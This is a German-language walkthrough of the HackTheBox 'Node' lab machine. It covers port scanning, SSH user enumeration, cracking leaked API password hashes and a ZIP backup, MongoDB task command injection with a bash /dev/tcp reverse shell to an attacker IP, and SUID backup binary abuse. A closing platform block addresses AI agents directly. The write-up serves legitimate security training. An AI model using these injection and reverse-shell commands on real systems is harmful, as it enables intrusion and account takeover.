> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-medium/node-hackthebox-writeup.md).

# Node HackTheBox Ausarbeitung

{% embed url="<https://app.hackthebox.com/machines/Node>" %}

{% hint style="warning" %}
**Fähigkeiten:**

* Informationsleck
* API-Aufzählung
* Hashes knacken
* ZIP-Datei knacken
* Backup-Download - Gespeicherte Anmeldedaten
* MongoDB-Aufzählung
* Mongo-Task-Injection - Command-Injection (User-Pivoting)
* Ausnutzung der SUID-Backup-Binärdatei - Dynamische Analyse
  {% endhint %}

## Aufklärung

**Einrichtung des Arbeitsbereichs:**

Richten Sie den Arbeitsbereich ein, indem Sie drei Ordner erstellen, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.

<figure><img src="/files/2f84e8ae86fdeb4033356795eda7e2712dda1bc4" alt=""><figcaption></figcaption></figure>

**VPN-Verbindung prüfen**

Prüfen Sie die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielsystem sicherzustellen.

<figure><img src="/files/4e362ebddd9f4430c77e917bc3e4f77f8a692a5f" alt=""><figcaption></figcaption></figure>

**Offene-Ports-Ermittlung mit Nmap:**

Erfassen Sie offene Ports und exportieren Sie die Ergebnisse in die Datei "allPorts" im Nmap-Verzeichnis:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.58 -oG allPorts
```

<figure><img src="/files/bb89e491359e181ea36274c7551fd77cadb38dfb" alt=""><figcaption></figcaption></figure>

/*/Analyse offener Ports mit extractPorts (22.3000) //*

Verwendung der extractPorts-Funktion, um offene Ports in kompakter Form anzuzeigen und sie in die Zwischenablage zu kopieren.

<figure><img src="/files/66311e8af02689b049bac090e352430b5a5e6ee1" alt="" width="563"><figcaption></figcaption></figure>

**Port- und Versionsscan mit Nmap:**

Verwenden Sie Nmap, um die Service-Versionen zu scannen und die Ausgabe in der Datei "targeted" zu speichern:

```bash
nmap -sCV -p22,3000 10.10.10.58 -oN targeted
```

<figure><img src="/files/b8b691e5d6a813294e09f306eae481de7a4e5403" alt=""><figcaption></figcaption></figure>

### **Port 22 - SSH**

Wir stellen fest, dass die Version anfällig für User-Listing ist, weil sie kleiner als Version 7.7 ist. Das erlaubt es, eine Benutzerliste auszuprobieren.

Verwenden von `searchsploit` um einen Exploit zu finden

```bash
searchsploit -m linux/remote/45939.py
```

<figure><img src="/files/1bbd0a1867f85de8d1cebefa1f0803e13216b8d9" alt=""><figcaption></figcaption></figure>

Wir verwenden diesen Exploit, um zu prüfen, ob ein Benutzer gültig ist oder nicht:

```bash
python2.7 45939.py 10.10.10.58 root 2>/dev/null
python2.7 45939.py 10.10.10.58 pepito 2>/dev/null
```

<figure><img src="/files/10d72d7778e540337d41e1d0a28c6d238c23eb45" alt=""><figcaption></figcaption></figure>

## Port 3000 - HTTP

Wir finden mehrere potenzielle Benutzer: `tom`, `mark`, `rastating`.

<figure><img src="/files/f0f454441fd26eef219e3dda98fca3af374297a7" alt=""><figcaption></figcaption></figure>

SSH-Aufzählung mit `45939.py` um Benutzer zu testen:

```bash
python2.7 45939.py 10.10.10.58 tom 2>/dev/null
python2.7 45939.py 10.10.10.58 mark 2>/dev/null
python2.7 45939.py 10.10.10.58 rastating 2>/dev/null
```

Wir stellen fest, dass `tom` und `mark` gültige Benutzer sind.

<figure><img src="/files/fc2e37e060d967c8a3d3b6bf7fe2a05edf051207" alt=""><figcaption></figcaption></figure>

### Liste der Verzeichnisse:

Wir verwenden `gobuster` um Verzeichnisse auf Port 3000 aufzuzählen:

```bash
gobuster dir -u http://10.10.10.58:3000/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 --exclude-length 3861
```

Es wurden keine interessanten Informationen gefunden. Beim Durchsuchen der Netzwerkanfragen in Firefox finden wir jedoch eine `aktuellste` Datei, die eine API aufruft.

<figure><img src="/files/afa9b79bbc835be3785898832eb4c754df4bbc5b" alt=""><figcaption></figcaption></figure>

### Erkundung der API:

Die API enthält eine `/users` Route, die sensible Informationen zurückgibt, einschließlich Passwort-Hashes für mehrere Benutzer:

<figure><img src="/files/fa0c998c0714840941afce6f17357d169a1ff241" alt=""><figcaption></figcaption></figure>

* `myP14ceAdm1nAcc0uNT` : `dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af`
* `tom` : `f0e2e750791171b0391b682ec35835bd6a5c3f7c8d1d0191451ec77b4d75f240`
* `mark` : `de5a1adf4fedcce1533915edc60177547f1057b61b7119fd130e1f7428705f73`
* `rastating` : `5065db2df0d4ee53562c650c29bacf55b97e231e3fe88570abc9edd8b78ac2f0`

<figure><img src="/files/d44ad8696142d853123c575de8c11add4a4d4f01" alt=""><figcaption></figcaption></figure>

### Passwort-Knacken:

Wir verwenden `crackstation` um die Passwörter der Benutzer zu knacken.

{% embed url="<https://crackstation.net/>" %}

<figure><img src="/files/378c76f37137949d26ffc8550ffe9a818540a2a9" alt=""><figcaption></figcaption></figure>

Die entschlüsselten Passwörter lauten wie folgt:

* `myP14ceAdm1nAcc0uNT` : `manchester`
* `tom`: `spongebob`
* `mark`: `snowflake`

<figure><img src="/files/c9586d414a2da12bf1b9d935776031a2bf81ec26" alt=""><figcaption></figcaption></figure>

Wir schaffen es, uns mit dem Benutzer zu verbinden `myP14ceAdm1nAcc0uNT` im Administrationsbereich.

<figure><img src="/files/73aed469ce35ae4f2ec23db5e32d0b9517c50c7a" alt=""><figcaption></figcaption></figure>

### Backup wird heruntergeladen:

Das `myP14ceAdm1nAcc0uNT` Benutzer ermöglicht es uns, eine Sicherungsdatei herunterzuladen.

<figure><img src="/files/af2c21f8ffae72d4098b43435230b4bfd64a0c03" alt=""><figcaption></figcaption></figure>

Die heruntergeladene Datei enthält eine Base64-Zeichenkette.

<figure><img src="/files/d93d8d063871f6d1b0c11760354f2d88f018d83c" alt=""><figcaption></figcaption></figure>

Wir dekodieren sie in eine ZIP-Datei:

```bash
cat myplace.backup | base64 -d > myplace.zip
```

<figure><img src="/files/3c8a7914de8a6f97585524b3ce8d0a91dfa47863" alt=""><figcaption></figcaption></figure>

### Brute-Force auf die ZIP-Datei:

**Extrahiere den Hash mit `zip2john`**:

Also verwenden wir zip2john, um den Hash zu extrahieren

```bash
zip2john myplace.zip > hash
```

<figure><img src="/files/fe30014b4eb1e66c562f10384dc9bf920a32e2f9" alt=""><figcaption></figcaption></figure>

**Passwort-Cracking mit `john`**:

```bash
john -w:/usr/share/SecLists/Passwords/Leaked-Databases/rockyou.txt hash
```

**Ergebnis**: Passwort gefunden - `magicword`

<figure><img src="/files/031321be430b30c3fa3a5e96ef5a32fe4d56941f" alt=""><figcaption></figcaption></figure>

Wir schaffen es, die ZIP-Datei zu entpacken, die ein Site-Backup im `/var` Verzeichnis.

<figure><img src="/files/ed5bcee9ce56fd380de28f5d837551819e086f8f" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/10b5953960f60f8eb5cb5913336b3a2feeed99b6" alt=""><figcaption></figcaption></figure>

### Untersuchung von `app.js`:

In dem `app.js` Datei finden wir sensible Informationen, einschließlich eines Benutzers (`mark`) und des zugehörigen Passworts für den Zugriff auf die Datenbank:

* `mark` : `5AYRft73VtFpc84k`

<figure><img src="/files/4c489ab299bff3b0b807f6ca2a904c1531058a42" alt=""><figcaption></figcaption></figure>

#### SSH-Verbindung mit `mark`:

Wir verwenden die wiederhergestellten Informationen, um uns per SSH mit dem Benutzer zu verbinden `mark`:

```bash
ssh mark@10.10.10.58 
```

Passwort: `5AYRft73VtFpc84k`

Wir haben jetzt Zugriff auf die Zielmaschine.

<figure><img src="/files/99766b25ca78014765b08ddd061c53d5e8844bcd" alt=""><figcaption></figcaption></figure>

## Pivoting zu Benutzer Tom

Jetzt müssen wir zu Benutzer wechseln **tom**.

<figure><img src="/files/8f5f6a158646d78df0efd0fd0919c831c470d94d" alt=""><figcaption></figcaption></figure>

### Verbindung zur MongoDB-Datenbank

Beim Blick auf die aktuellen Prozesse stellen wir fest, dass **tom** führt eine `app.js` Datei mit Node.js aus.

<figure><img src="/files/a798ec432e2aee57557e9d828bfffef06cc38f62" alt=""><figcaption></figcaption></figure>

Diese Datei verbindet sich mit der `scheduler` Datenbank unter Verwendung derselben Anmeldedaten wie der Benutzer **mark**.

<figure><img src="/files/8e7f5df66597a967a86858c8bc4344fe1e799e5c" alt=""><figcaption></figcaption></figure>

Um auf die Datenbank zuzugreifen, verwenden wir **mark** Anmeldedaten:

```bash
mongo --username mark --password 5AYRft73VtFpc84k --authenticationDatabase scheduler localhost:27017/scheduler
```

<figure><img src="/files/27157fe361992e9bfb096b70b93fd9545660d50c" alt=""><figcaption></figcaption></figure>

### MongoDB-Reverse-Shell

Das `app.js` Skript führt Systembefehle aus MongoDB-Dokumenten aus (über `doc.cmd`). Dies stellt eine kritische Schwachstelle dar, da beliebige Befehle eingeschleust und ausgeführt werden können.

<figure><img src="/files/7be4f00c8ba820b4b9db8c34c58aeaa1cac1f03a" alt=""><figcaption></figcaption></figure>

Um zu bestätigen, dass wir Befehle über MongoDB ausführen können

**Einen lokalen Webserver erstellen**

Auf der Angriffsmaschine einen Webserver starten, um Anfragen zu beobachten:

```bash
python3 -m http.server 80
```

**Fügen Sie einen Testbefehl in die `tasks` Sammlung**

Fügen Sie in MongoDB einen Befehl ein, der eine HTTP-Anfrage an Ihre Angriffsmaschine ausführt

```bash
db.tasks.insert({  cmd: "curl http://10.10.14.30"})
```

**Anfragen beobachten**

Wenn Sie eine Anfrage in den Webserver-Protokollen sehen, bestätigt das, dass die Befehle ausgeführt werden.

<figure><img src="/files/3cad89a9c2ed6224a31e0561b1440e9775a51bef" alt=""><figcaption></figcaption></figure>

Starten Sie eine Reverse Shell.

wir lauschen auf Port 443

```bash
nc -nlvp 443
```

#### Eine Reverse Shell starten

**Listener auf Port 443 konfigurieren** Auf dem angreifenden Rechner:

```bash
nc -nlvp 443
```

**Reverse-Shell-Befehl einfügen**

Fügen Sie in MongoDB einen Befehl ein, um eine Reverse Shell einzurichten:

```bash
db.tasks.insert({  cmd: "bash -c 'bash -i >&/dev/tcp/10.10.14.30/443 0>&1'"})
```

**Erfolgreiche Verbindung** Sobald der Befehl ausgeführt wurde, erhalten Sie eine interaktive Shell auf der Zielmaschine als Benutzer **tom**.

<figure><img src="/files/bddcd3dbe6fc51704a3853ccf1dacffc30e44831" alt=""><figcaption></figcaption></figure>

#### Terminal-Stabilisierung

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### Flagge user.txt :)

<figure><img src="/files/50584777f7eca6ed774f8579b4ebe01251cee0d3" alt="" width="563"><figcaption></figcaption></figure>

## Privilegieneskalation

### SUID-Binärdatei (Backup)

Um nach Dateien mit gesetztem SUID-Bit zu suchen, wird der folgende Befehl verwendet:

```bash
find / -perm -4000 2>/dev/null
```

Dies ermöglicht es uns, ein Binary namens `backup`.

<figure><img src="/files/abe4331992e5376132c3f0aa0232bc5421a3e1bd" alt=""><figcaption></figcaption></figure>

Der Eigentümer der Binärdatei ist `root`, was bedeutet, dass sie mit Root-Benutzerrechten ausgeführt wird.

<figure><img src="/files/2efdce1832a0d932deccf36f9a9e57dc250c2a88" alt=""><figcaption></figcaption></figure>

Wenn wir versuchen, dieses Binary direkt auszuführen, passiert nichts. Wenn wir jedoch verschiedene Eingaben testen, entdecken wir, dass es eine Zeichenkette aus drei durch Leerzeichen getrennten Zeichen akzeptiert, was die verfügbaren Funktionen offenbart:

```bash
/usr/local/bin/backup a d g
```

<figure><img src="/files/03ce3160eb604f71f9d38d7897fcf72232c191b2" alt=""><figcaption></figcaption></figure>

Beim Blick auf die `app.js` Datei finden wir Informationen über die Verwendung der Binärdatei sowie einen Schlüssel, der für ihre Ausführung benötigt wird. Der Schlüssel befindet sich am Anfang der Datei.

<figure><img src="/files/a976fee2504b7522a828ddf0e4b9eacf9ca73e85" alt=""><figcaption></figcaption></figure>

Um das Binary zu verwenden, müssen wir den Schlüssel angeben, gefolgt vom Verzeichnispfad zum Speichern.

`45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474`

<figure><img src="/files/bcbedfbf65a0b16ca65771f5139e6ddd920c9516" alt=""><figcaption></figcaption></figure>

```bash
/usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 /root
```

Dadurch wird eine Base64-Ausgabe erzeugt.

<figure><img src="/files/c2431dc80c3e0310b6210e20b2aa18fbfadfd013" alt=""><figcaption></figcaption></figure>

Die Base64-Ausgabe kann mit folgendem Befehl in eine `.zip` Datei decodiert werden:

{% code overflow="wrap" %}

```bash
echo "UEsDBDMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAcm9vdC50eHQBmQcAAgBBRQEIAEbBKBl0rFrayqfbwJ2YyHunnYq1Za6G7XLo8C3RH/hu0fArpSvYauq4AUycRmLuWvPyJk3sF+HmNMciNHfFNLD3LdkGmgwSW8j50xlO6SWiH5qU1Edz340bxpSlvaKvE4hnK/oan4wWPabhw/2rwaaJSXucU+pLgZorY67Q/Y6cfA2hLWJabgeobKjMy0njgC9c8cQDaVrfE/ZiS1S+rPgz/e2Pc3lgkQ+lAVBqjo4zmpQltgIXauCdhvlA1Pe/BXhPQBJab7NVF6Xm3207EfD3utbrcuUuQyF+rQhDCKsAEhqQ+Yyp1Tq2o6BvWJlhtWdts7rCubeoZPDBD6Mejp3XYkbSYYbzmgr1poNqnzT5XPiXnPwVqH1fG8OSO56xAvxx2mU2EP+Yhgo4OAghyW1sgV8FxenV8p5c+u9bTBTz/7WlQDI0HUsFAOHnWBTYR4HTvyi8OPZXKmwsPAG1hrlcrNDqPrpsmxxmVR8xSRbBDLSrH14pXYKPY/a4AZKO/GtVMULlrpbpIFqZ98zwmROFstmPl/cITNYWBlLtJ5AmsyCxBybfLxHdJKHMsK6Rp4MO+wXrd/EZNxM8lnW6XNOVgnFHMBsxJkqsYIWlO0MMyU9L1CL2RRwm2QvbdD8PLWA/jp1fuYUdWxvQWt7NjmXo7crC1dA0BDPg5pVNxTrOc6lADp7xvGK/kP4F0eR+53a4dSL0b6xFnbL7WwRpcF+Ate/Ut22WlFrg9A8gqBC8Ub1SnBU2b93ElbG9SFzno5TFmzXk3onbLaaEVZl9AKPA3sGEXZvVP+jueADQsokjJQwnzg1BRGFmqWbR6hxPagTVXBbQ+hytQdd26PCuhmRUyNjEIBFx/XqkSOfAhLI9+Oe4FH3hYqb1W6xfZcLhpBs4Vwh7t2WGrEnUm2/F+X/OD+s9xeYniyUrBTEaOWKEv2NOUZudU6X2VOTX6QbHJryLdSU9XLHB+nEGeq+sdtifdUGeFLct+Ee2pgR/AsSexKmzW09cx865KuxKnR3yoC6roUBb30Ijm5vQuzg/RM71P5ldpCK70RemYniiNeluBfHwQLOxkDn/8MN0CEBr1eFzkCNdblNBVA7b9m7GjoEhQXOpOpSGrXwbiHHm5C7Zn4kZtEy729ZOo71OVuT9i+4vCiWQLHrdxYkqiC7lmfCjMh9e05WEy1EBmPaFkYgxK2c6xWErsEv38++8xdqAcdEGXJBR2RT1TlxG/YlB4B7SwUem4xG6zJYi452F1klhkxloV6paNLWrcLwokdPJeCIrUbn+C9TesqoaaXASnictzNXUKzT905OFOcJwt7FbxyXk0z3FxD/tgtUHcFBLAQI/AzMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAAAAAAAAAIIC0gQAAAAByb290LnR4dAGZBwACAEFFAQgAUEsFBgAAAAABAAEAQQAAAB4EAAAAAA==" | base64 -d > root.zip
```

{% endcode %}

<figure><img src="/files/458e2a5ee64a688a5d0ebfcbcb8de8049a5810b7" alt=""><figcaption></figcaption></figure>

Die ZIP-Datei ist passwortgeschützt. Wir verwenden das zuvor gefundene Passwort

* Passwort: `magicword`

Allerdings ist die `root.txt` in dem Archiv enthaltene Datei ein Köder (Rabbit Hole).

<figure><img src="/files/c5027c9806e239938cb298fdb0f50c9a0d49bef9" alt=""><figcaption></figcaption></figure>

### Detaillierte Analyse mit `ltrace`

Verwenden von `ltrace`, stellen wir fest, dass das Binary den Pfad vergleicht `/root` mit dem im Argument angegebenen. Wenn die Pfade übereinstimmen, zeigt es einen Troll-Cartoon an.

<figure><img src="/files/be2e1ca4a50845b75a6826d1cd9d5c4b403452bf" alt=""><figcaption></figcaption></figure>

Um diese Prüfung zu umgehen, führen wir das Binary vom Root-Verzeichnis aus (`/`) indem wir ein Backup von `root`

```bash
/usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 root
```

<figure><img src="/files/cbc60dc85191122555a41d0eccc56c1566c3c485" alt=""><figcaption></figcaption></figure>

Die neue Ausgabe liegt ebenfalls in Base64 vor. Wir dekodieren sie, um den endgültigen Inhalt zu erhalten:

{% code overflow="wrap" %}

```bash
echo "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" | base64 -d > root.zip
```

{% endcode %}

### Flag root.txt :)

Durch das Extrahieren der endgültigen Datei erhalten wir Zugriff auf den gewünschten Inhalt.

<figure><img src="/files/f691bf4de0c192968bdfd50c3a80b1f3b66160f1" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/a53eca1b5ecaec2c030d4128825232d21d606d0a" alt="" width="513"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-medium/node-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
